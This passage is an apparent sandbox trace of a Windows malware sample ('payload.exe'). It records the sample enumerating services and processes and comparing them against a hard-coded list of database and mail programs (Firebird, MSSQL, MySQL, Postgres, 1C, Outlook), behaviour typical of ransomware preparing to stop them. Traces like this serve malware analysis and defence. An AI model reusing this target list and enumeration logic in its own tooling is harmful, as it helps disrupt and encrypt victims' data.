[0115.384] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0115.384] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0115.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0115.384] lstrlenW (lpString="RpcSs") returned 5 [0115.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0115.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0115.384] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0115.384] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0115.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0115.384] lstrlenW (lpString="SamSs") returned 5 [0115.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0115.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0115.384] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0115.384] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0115.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0115.384] lstrlenW (lpString="Schedule") returned 8 [0115.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0115.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0115.384] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0115.384] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0115.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0115.384] lstrlenW (lpString="SENS") returned 4 [0115.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0115.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0115.384] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0115.384] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0115.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0115.384] lstrlenW (lpString="ShellHWDetection") returned 16 [0115.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0115.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0115.384] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0115.384] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0115.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0115.384] lstrlenW (lpString="Spooler") returned 7 [0115.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0115.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0115.385] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0115.385] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0115.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0115.385] lstrlenW (lpString="SysMain") returned 7 [0115.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0115.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0115.385] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0115.385] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0115.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0115.385] lstrlenW (lpString="Themes") returned 6 [0115.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0115.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0115.385] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0115.385] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0115.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0115.385] lstrlenW (lpString="TrkWks") returned 6 [0115.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0115.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0115.385] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0115.385] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0115.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0115.385] lstrlenW (lpString="UxSms") returned 5 [0115.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0115.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0115.385] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0115.385] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0115.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0115.385] lstrlenW (lpString="WdiServiceHost") returned 14 [0115.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0115.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0115.385] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0115.385] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0115.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0115.385] lstrlenW (lpString="WdiSystemHost") returned 13 [0115.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0115.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0115.385] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0115.385] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0115.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0115.385] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0115.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0115.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0115.385] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0115.385] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0115.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0115.385] lstrlenW (lpString="Winmgmt") returned 7 [0115.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0115.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0115.385] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0115.385] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0115.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0115.385] lstrlenW (lpString="WPDBusEnum") returned 10 [0115.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0115.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0115.386] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0115.386] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0115.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0115.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e07c8 | out: hHeap=0x4f0000) returned 1 [0115.386] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3f8 [0115.387] Process32FirstW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.387] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0115.387] lstrlenW (lpString="System") returned 6 [0115.388] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0115.388] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0115.388] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0115.388] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0115.388] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0115.388] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0115.388] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0115.388] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0115.388] lstrlenW (lpString="smss.exe") returned 8 [0115.388] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0115.388] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0115.388] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0115.388] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0115.388] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0115.388] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0115.388] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0115.388] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0115.388] lstrlenW (lpString="csrss.exe") returned 9 [0115.388] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0115.388] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0115.388] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0115.388] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0115.388] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0115.388] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0115.388] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0115.388] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0115.389] lstrlenW (lpString="wininit.exe") returned 11 [0115.389] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0115.389] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0115.389] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0115.389] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0115.389] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0115.389] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0115.389] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0115.389] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0115.389] lstrlenW (lpString="csrss.exe") returned 9 [0115.389] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0115.389] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0115.389] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0115.389] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0115.389] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0115.389] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0115.389] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0115.389] lstrlenW (lpString="winlogon.exe") returned 12 [0115.389] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0115.390] lstrlenW (lpString="services.exe") returned 12 [0115.390] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0115.390] lstrlenW (lpString="lsass.exe") returned 9 [0115.390] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0115.390] lstrlenW (lpString="lsm.exe") returned 7 [0115.390] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.390] lstrlenW (lpString="svchost.exe") returned 11 [0115.390] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.391] lstrlenW (lpString="svchost.exe") returned 11 [0115.391] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.391] lstrlenW (lpString="svchost.exe") returned 11 [0115.391] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.391] lstrlenW (lpString="svchost.exe") returned 11 [0115.391] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.391] lstrlenW (lpString="svchost.exe") returned 11 [0115.391] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0115.392] lstrlenW (lpString="audiodg.exe") returned 11 [0115.392] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.392] lstrlenW (lpString="svchost.exe") returned 11 [0115.392] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.392] lstrlenW (lpString="svchost.exe") returned 11 [0115.392] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0115.392] lstrlenW (lpString="userinit.exe") returned 12 [0115.392] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0115.393] lstrlenW (lpString="dwm.exe") returned 7 [0115.393] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0115.393] lstrlenW (lpString="explorer.exe") returned 12 [0115.393] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0115.393] lstrlenW (lpString="spoolsv.exe") returned 11 [0115.393] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0115.393] lstrlenW (lpString="taskhost.exe") returned 12 [0115.393] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.394] lstrlenW (lpString="svchost.exe") returned 11 [0115.394] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0115.394] lstrlenW (lpString="payload.exe") returned 11 [0115.394] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0115.394] lstrlenW (lpString="reader_sl.exe") returned 13 [0115.394] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0115.394] lstrlenW (lpString="taskhost.exe") returned 12 [0115.394] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0115.395] lstrlenW (lpString="dllhost.exe") returned 11 [0115.395] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x338, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0115.395] lstrlenW (lpString="consent.exe") returned 11 [0115.395] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0115.395] lstrlenW (lpString="dllhost.exe") returned 11 [0115.395] Process32NextW (in: hSnapshot=0x3f8, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0115.395] CloseHandle (hObject=0x3f8) returned 1 [0115.395] Sleep (dwMilliseconds=0x1f4) [0116.024] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x55eb30 [0116.024] EnumServicesStatusExW (in: hSCManager=0x55eb30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0116.025] GetLastError () returned 0xea [0116.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x11e4) returned 0x55f280 [0116.025] EnumServicesStatusExW (in: hSCManager=0x55eb30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55f280, cbBufSize=0x11e4, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55f280, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0116.025] CloseServiceHandle (hSCObject=0x55eb30) returned 1 [0116.025] lstrlenW (lpString="Appinfo") returned 7 [0116.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0116.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0116.026] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0116.026] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0116.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0116.026] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0116.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0116.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0116.026] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0116.026] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0116.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0116.026] lstrlenW (lpString="AudioSrv") returned 8 [0116.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0116.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0116.026] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0116.026] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0116.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0116.026] lstrlenW (lpString="BFE") returned 3 [0116.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0116.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0116.026] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0116.026] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0116.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0116.026] lstrlenW (lpString="CryptSvc") returned 8 [0116.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0116.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0116.026] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0116.026] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0116.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0116.026] lstrlenW (lpString="CscService") returned 10 [0116.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0116.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0116.026] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0116.026] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0116.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0116.026] lstrlenW (lpString="DcomLaunch") returned 10 [0116.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0116.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0116.027] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0116.027] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0116.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0116.027] lstrlenW (lpString="Dhcp") returned 4 [0116.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0116.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0116.027] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0116.027] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0116.027] lstrcmpiW 